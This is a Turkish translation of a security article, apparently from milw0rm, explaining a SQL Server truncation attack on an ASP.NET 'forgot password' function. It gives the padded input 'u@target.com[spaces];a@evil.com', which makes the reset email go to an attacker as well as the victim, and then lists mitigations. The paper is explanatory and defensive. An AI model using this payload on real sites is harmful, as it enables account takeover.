

Her zaman olmasa da, bazı zamanlarda işe yarayacak bir teknik olma prensibini taşıyan bu yöntem, web uygulamalarına yönelik saldırılardan yaygın olarak kullanılan “şifremi unuttum” atağına yeni bir bakış açısı kazandırmayı amaçlamaktadır.

Bu doküman iki bölüme ayrılmıştır. Birinci bölüm tekniğin temel esaslarından bahsetmekte, ikinci bölüm ise ticari uygulamalara yönelik atakları içermektedir.

“ŞİFREME UNUTTUM” ATAĞI

Web tabanlı uygulamalarda çoğunlukla kullanıcının hesabının doğrulanması gerekmektedir. Ayrıca kullanıcının şifresinin yenilenmesini ya da yeniden verilmesini sağlayan yöntemlerde bulunmaktadır. Bu parçalar farklı şekillerde çalışmaktadır. Bunun birkaç nedeni bulunmaktadır. Örneğin; geliştirme stili, dil, mantık ya da işletilen sistem. Bu atağı bir ortam ya da geliştirme stili ile sınırlandırmamak gerekir. Bu doküman ile aşağıdaki bilinen parçalara adapte olunmuştur.

NOT: Bu örnek Sec-1 ASNA takımının gerçek bir web uygulamasına dayanmaktadır.

Şartlar

Server: Microsoft IIS 6.0

Server Side Script Türü: ASP.NET (codebehind: VB.NET)

Database: Microsoft SQL Server (Özel Stored Prosedürler Kullanılıyor)

Şifre Hatırlatma İşlemi

1. Kullanıcı e-mail adresine giriş yapar.
2. E-mail adresi SQL sorgusunda bulunan bir değişkene yüklenir. Daha sonra bu sorgu aracılığıyla, değişkene aktarılan e-mail adresi veritabanında kullanıcının hesabını bulmak için arama işleminde kullanılır.
3. Uygulamanın kullandığı e-mail hesabı, kullanıcıya hesap bilgilerini gönderir.

SALDIRI ÖNSÖZÜ

Önce saldırı işlemini ayırıyoruz. Çünkü bu anahtar öğenin üzerini örtmek için önemlidir. Anahtar öge bu atağın gerçekleşmesini olanaklı hale getirir. Şayet VB.NET ve Microsoft SQL Server değişkenlerini biliyorsanız, bu kısmı geçebilirsiniz.

Server Değişkenleri

Değişkenlerin boyutu ve tipi, saldırılar ve zayıflıklar için vurgulanacak bir anahtardır. Bu örnekte VB (ASP.NET) ve Microsoft SQL Server kullanılmıştır. Bunların her birinde değişken tanımı biraz da olsa farklıdır. Aşağıdaki örnekleri inceleyelim;

ASP.NET (VB)`de Değişken Tanımı

Dim UserNameAsEmail AS String

Yukarıdaki değişken programcı tarafından oluşturulur. Değişkenin adı UserNameAsEmail`dir ve kullanıcının e-mail adresini tutar (bu durumda kullanıcı adı ve e-mail adresi bir tane ve aynıdır). Mademki bu bir Visual Basic uygulaması programcının maksimum boyutu belirtmesi gerekmemektedir (default değeri 64 kb`tır). Fakat bu önerilir.

Microsoft SQL Server`da Değişken Tanımı

Declare @UserNameAsEmail varchar(320)

Yukarıdaki SQL ifadesi en fazla 320 karakter tutacak şekilde bir değişken oluşturur. RFC 2821`e göre geçerli bir e-mail adresinin uzunluğu en fazla 320 karakterdir. Varchar tipinin maksimum alabileceği uzunluk 8000 bytes`dır.

Beyaz Boşluk

Microsoft SQL Server string değerlerindeki beyaz boşluk izlerine önem vermez. Aşağıdaki SQL ifadesinde bu gösterilmiştir.

- 1> declare @UserNameAsEmail varchar(320)
- 2> set @UserNameAsEmail = 'garyo@sec-1.com'
- 3> select username, password from UserEmail where username = @UserNameAsEmail
- 4> go

<u>username</u>	<u>password</u>
garyo@sec-1.com	d32ed£%dZZA

Beyaz boşluk izleri yaparak da aynı sonucu elde ederiz.

- 1> declare @UserNameAsEmail varchar(320)
- 2> set @UserNameAsEmail = 'garyo@sec-1.com'
- 3> select username, password from UserEmail where username = @UserNameAsEmail
- 4> go

<u>username</u>	<u>password</u>
garyo@sec-1.com	d32ed£%dZZA

Savunmasızlık (The Vulnerability)

Buradaki zayıflık, ASP.NET değişkenleri ve Microsoft SQL Server değişkenleri birbiri ile örtüşmediği zaman oluşur. Eğer ASP.NET değişkeninin uzunluğu SQL Server değişkeninin maksimum uzunluğundan büyük olursa, bizim göndereceğimiz değeri "şifremi unuttum" işlevinde etki etmek için

kullanılabilecektir. Bizim amacımız, SQL Server`a e-mail adresini geçerli olarak yorumlatmak ve herhangi bir e-mail adresi aracılığı ile saldırgan bir kullanıcı hesabı bilgilerini göndertmektir.

Aşağıdaki örneği inceleyelim;

(Not: Değişken uzunlukları bu doküman için orantılı bir şekilde belirlenmiştir.)

ADIM 1:

Saldırgan e-mail adresini girer. u@target.com kurbanın mail adresi, a@evil.com ise saldırganın mail adresidir.

`u@target.com[308 spaces];a@evil.com`

Bu .NET değişkeni olan `UserNameAsEmail``e yüklenecektir.

ADIM 2:

Kullanıcının e-mail adresi SQL Server değişkenine kopyalanacaktır. SQL server değişkeni en fazla verinin 320 bytes olan kısmını tutacaktır. Bu nedenle beyaz boşlukların bittiği yere kadar olan yeri kopyalayacaktır.

Microsoft SQL Server Değişkeni: `a@target.com[White Space]`

Yukarıda gösterildiği şekilde SQL Server değişkeni tutacaktır ve daha sonra kullanıcının hesabının detaylarını getirecektir.

ADIM 3:

Kurban kullanıcı için geçerli bir e-mail adresi girdiğimizi varsayalım. SQL Server kullanıcının hesabını güvenli bir şekilde .NET uygulamasına getirecektir. Kullanıcının "şifremi unuttum" bölümü dizayn edilecektir. Beyaz boşluk ASP.NET e-mail fonksiyonu tarafından istenilen mail adresini yapmak için görmezlikten gelinecektir:

u@target.com;a@evil.com – Bir e-mail kullanıcı hesabının detaylarını içerebilir ve hem kullanıcıya hem de saldırganına mail gider.

Savunmasızlığı Azaltmak

Bu makalede tanımlanan problem güvenli uygulamalar geliştirmek için kolay bir yöntemdir. Örneğin bu makaledeki savunmasızlığı ufak bir kod değişikliği ile ortadan kaldırıyoruz.

Input (Girdi) Doğruluğu: İlk adım olarak sadece temiz karakterlere izin verilip, geçerli bir e-mail adresinin girilip girilmediği kontrol edilmeli ve herhangi bir ihlalin filtrelenmesi diğer analiz için kilitlenmelidir.

Güvenli Değişken Oluşturmak: .NET ve Microsoft SQL Server değişkenlerinin maksimum uzunluğunun aynı olduğundan emin olun. Yukarıdaki örnekte savunmasızlığı azaltmak için değişkenlerin aşağıdaki şekilde tanımlanması gerekmektedir.

```
Dim UserNameAsEmail AS String * 320
Declare @UserNameAsEmail varchar(320)
```

Kaynak: <http://www.milwOrm.com/papers/167>

Çeviri-Düzenleme: Onur YILMAZ